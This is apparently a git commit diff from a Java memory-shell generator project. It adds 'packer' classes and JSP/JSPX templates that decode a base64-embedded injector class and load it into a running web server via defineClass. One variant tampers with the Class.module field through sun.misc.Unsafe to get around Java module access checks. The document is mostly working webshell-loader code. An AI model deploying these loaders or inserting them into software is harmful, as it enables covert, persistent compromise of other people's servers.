feat: support defineClass JSP packers

This commit is contained in:
ReaJason
2025-06-07 13:31:18 +08:00
parent 8565dd9c52
commit 69f554ae4e
12 changed files with 176 additions and 130 deletions
@@ -24,9 +24,7 @@ import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
import com.reajason.javaweb.memshell.packer.jsp.*;
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
@@ -68,7 +66,9 @@ public enum Packers {
* JSP 打包器
*/
JSP(new JspPacker()),
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
BypassDefineClassJSP(new BypassDefineClassJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
/**
@@ -0,0 +1,34 @@
package com.reajason.javaweb.memshell.packer.jsp;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class BypassDefineClassJspPacker implements Packer {
String jspTemplate = null;
public BypassDefineClassJspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
}
}
@@ -12,11 +12,11 @@ import java.util.Objects;
* @author ReaJason
* @since 2024/11/26
*/
public class DefalutJspPacker implements Packer {
public class ClassLoaderJspPacker implements Packer {
String jspTemplate = null;
public DefalutJspPacker() {
public ClassLoaderJspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
@@ -0,0 +1,34 @@
package com.reajason.javaweb.memshell.packer.jsp;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class DefineClassJspPacker implements Packer {
String jspTemplate = null;
public DefineClassJspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
}
}
+16 -39
View File
@@ -1,50 +1,27 @@
<%!
public static class ClassDefiner extends ClassLoader {
public ClassDefiner() {
super(Thread.currentThread().getContextClassLoader());
public ClassDefiner(ClassLoader classLoader) {
super(classLoader);
}
public byte[] decodeBase64(String bytecodeBase64) {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
} catch (Exception ee) {
try {
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
} catch (Exception e) {
return null;
}
}
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@Override
public String toString() {
String className = "{{className}}";
String base64Str = "{{base64Str}}";
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className).newInstance();
} catch (Exception e) {
try {
byte[] bytecode = decodeBase64(base64Str);
Class<?> clazz = defineClass(bytecode);
clazz.newInstance();
} catch (Exception ignored) {
}
}
return className;
}
}
%>
<%
new ClassDefiner().toString();
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
}
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
clazz.newInstance();
%>
+16 -39
View File
@@ -3,51 +3,28 @@
<jsp:directive.page pageEncoding="UTF-8"/>
<jsp:declaration><![CDATA[
public static class ClassDefiner extends ClassLoader {
public ClassDefiner() {
super(Thread.currentThread().getContextClassLoader());
public ClassDefiner(ClassLoader classLoader) {
super(classLoader);
}
public byte[] decodeBase64(String bytecodeBase64) {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
} catch (Exception ee) {
try {
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
} catch (Exception e) {
return null;
}
}
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@Override
public String toString() {
String className = "{{className}}";
String base64Str = "{{base64Str}}";
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className).newInstance();
} catch (Exception e) {
try {
byte[] bytecode = decodeBase64(base64Str);
Class<?> clazz = defineClass(bytecode);
clazz.newInstance();
} catch (Exception ignored) {
}
}
return className;
}
}
]]></jsp:declaration>
<jsp:scriptlet><![CDATA[
new ClassDefiner().toString();
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
}
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
clazz.newInstance();
]]></jsp:scriptlet>
</jsp:root>
+18
View File
@@ -0,0 +1,18 @@
<%
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException e) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
}
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
clazz.newInstance();
%>
+42
View File
@@ -0,0 +1,42 @@
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %><%
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException e) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
}
Object unsafe = null;
Object rawModule = null;
long offset = 48;
Method getAndSetObjectM = null;
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
unsafe = unsafeField.get(null);
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
} catch (Throwable ignored) {
}
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true);
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
if (getAndSetObjectM != null) {
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
}
clazz.newInstance();
%>